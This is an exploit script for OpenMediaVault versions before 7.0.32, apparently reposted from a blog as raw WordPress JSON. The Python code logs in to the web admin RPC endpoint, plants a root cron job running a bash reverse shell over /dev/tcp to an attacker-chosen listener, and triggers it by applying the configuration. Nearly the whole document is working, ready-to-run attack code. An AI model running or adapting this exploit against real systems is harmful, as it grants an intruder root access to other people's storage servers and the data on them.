# Exploit Title: Openmediavault < 7.0.32 Authenticated RCE & Local Privilege Escalation
# Date: 08.05.2024
# Exploit Author: Mert BENADAM
# Vendor Homepage: https:\/\/www.openmediavault.org\/
# Software Link: https:\/\/sourceforge.net\/projects\/openmediavault\/
# Version: < 7.0.32
# Tested on: OMV 7.0.32 & 6.5 @Virtual Machine
# Description: OpenMediaVault is the next generation network attached storage (NAS) solution based on Debian Linux.<\/p>\n
# Special Thx: k3yZ :)
“””
PoC:
This vulnerability occurs when users in the web-admin group enter commands on the crontab by selecting the root shell.
As a result of exploiting the vulnerability,authenticated web-admin users can run commands with root privileges and receive reverse shell connections.
It can also be used in privilege escalation attacks on local systems.
“””<\/p>\n
import argparse
import requests
import json<\/p>\n
def login(ip_address, username, password, lhost, lport):
try:
login_data = {
“service”: “Session”,
“method”: “login”,
“params”: {
“username”: username,
“password”: password
},
“options”: None
}<\/p>\n
url = f”http:\/\/{ip_address}\/rpc.php”<\/p>\n
response = requests.post(url, json=login_data)<\/p>\n
if response.status_code == 200:
print(“Login Success , Checking User Privilages…”)
post_check(ip_address, response.cookies, lhost , lport)
else:
print(“login Failed, Probably Wrong User Credentials…”)<\/p>\n
print(“Reason:”)
print(response.json())<\/p>\n
except requests.exceptions.ConnectionError:
print(“Connection Error: Could Not Connect To The Server…”)
except Exception as e:
print(“Unexpected Error:”, e)<\/p>\n
def post_check(ip_address, cookies, lhost, lport):
try:
post_data = {
“service”: “Cron”,
“method”: “getList”,
“params”: {
“type”: [“userdefined”],
“start”: 0,
“limit”: -1
},
“options”: None
}<\/p>\n
url = f”http:\/\/{ip_address}\/rpc.php”
response = requests.post(url, json=post_data, cookies=cookies)<\/p>\n
if response.status_code == 200:
print(“Accesing Crons…OK”)
send_post(ip_address, cookies, lhost , lport)<\/p>\n
elif response.status_code == 403:
print(“Kullan\u0131c\u0131 yetkili de\u011fil.”)
else:
print(“Post Request Failure…”)<\/p>\n
except requests.exceptions.ConnectionError:
print(“Connection Error: Could Not Connect To The Server…”)
except Exception as e:
print(“Beklenmeyen bir hata olu\u015ftu:”, e)<\/p>\n
def send_post(ip_address, cookies, lhost , lport):
try:<\/p>\n
post_data = {
“service”: “Cron”,
“method”: “set”,
“params”: {
“uuid”: “fa4b1c66-ef79-11e5-87a0-0002b3a176b4”, # UUID
“enable”: True,
“execution”: “exactly”,
“minute”: [“*”],
“everynminute”: False,
“hour”: [“*”],
“everynhour”: False,
“dayofmonth”: [“*”],
“everyndayofmonth”: False,
“month”: [“*”],
“dayofweek”: [“*”],
“username”: “root”,
“command”: f”bash -c ‘exec bash -i &>\/dev\/tcp\/{lhost}\/{lport} <&1′”, # Command From User
“sendemail”: False,
“comment”: “”,
“type”: “userdefined”
},
“options”: None
}<\/p>\n
url = f”http:\/\/{ip_address}\/rpc.php”
response = requests.post(url, json=post_data, cookies=cookies)<\/p>\n
if response.status_code == 200:
print(“Payload Sent… OK,”)
update(ip_address, cookies)
elif response.status_code == 403:
print(“User Not Authrorized.”)
else:
print(“Something Wrong.CHECK your version…”)<\/p>\n
except requests.exceptions.ConnectionError:
print(“Connection Error: Could Not Connect To The Server…”)
except Exception as e:
print(“Unexpected Error:”, e)<\/p>\n
def update(ip_address, cookies):
try:<\/p>\n
post_data = {
“service”: “Config”,
“method”: “applyChangesBg”,
“params”: {
“modules”: [],
“force”: False
},
“options”: None
}<\/p>\n
url = f”http:\/\/{ip_address}\/rpc.php”<\/p>\n
response = requests.post(url, json=post_data, cookies=cookies)<\/p>\n
if response.status_code == 200:
print(“Updating crontabs…”)
print(“Successfully Exploited…”)
print(“Exploited Shell Will Be Triggered In 1 Minute, Check Your Listener…”)
print(“Warning: Make sure You Open a listener And Enter Correct IP-PORT Information…”)
elif response.status_code == 403:
print(“User Not Authrorized.”)
else:
print(“Someting Wrong. Check version…”)<\/p>\n
except requests.exceptions.ConnectionError:
print(“Connection Error: Could Not Connect To The Server…”)
except Exception as e:
print(“Unexpected Error:”, e)<\/p>\n
def main():
font=”””<\/p>\n
\u2588\u2588\u2588\u2557 \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557
\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u255a\u2588\u2588\u2557 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2588\u2588\u2588\u2588\u2557
\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2551
\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 \u255a\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551
\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d
\u255a\u2550\u255d \u255a\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d<\/p>\n
“””
parser = argparse.ArgumentParser(description=”OpenMediaVault 7.0.32 > 6.5.0 RCE And Local Privilage Escalation”)
parser.add_argument(“-U”, “–ip”, type=str, help=”Victim Ip Adress”, required=False)
parser.add_argument(“-u”, “–username”, type=str, help=”Username For Web Admin”, required=False)
parser.add_argument(“-p”, “–password”, type=str, help=”Password For Web Admin”, required=False)
parser.add_argument(“-L”, “–lhost”, type=str, help=”Listener IP Adress For Reverse Shell”, required=False)
parser.add_argument(“-P”, “–lport”, type=str, help=”Listener Port For Reverse Shell”, required=False)<\/p>\n
args = parser.parse_args()<\/p>\n
if args.ip and args.username and args.password and args.lhost and args.lport:
print(font)
login(args.ip, args.username, args.password, args.lhost , args.lport)
else:
print(font)
parser.print_help()<\/p>\n
if __name__ == “__main__”:
main()<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Openmediavault < 7.0.32 Authenticated RCE & Local Privilege Escalation# Date: 08.05.2024# Exploit Author: Mert BENADAM# Vendor Homepage: https:\/\/www.openmediavault.org\/# Software Link: https:\/\/sourceforge.net\/projects\/openmediavault\/# Version: < 7.0.32# Tested on: OMV 7.0.32 & 6.5 @Virtual Machine# Description: OpenMediaVault is the next generation network attached storage (NAS) solution based on Debian Linux. # Special Thx: k3yZ :)“””PoC:This …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56713","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56713","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56713"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56713\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56713"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56713"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56713"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}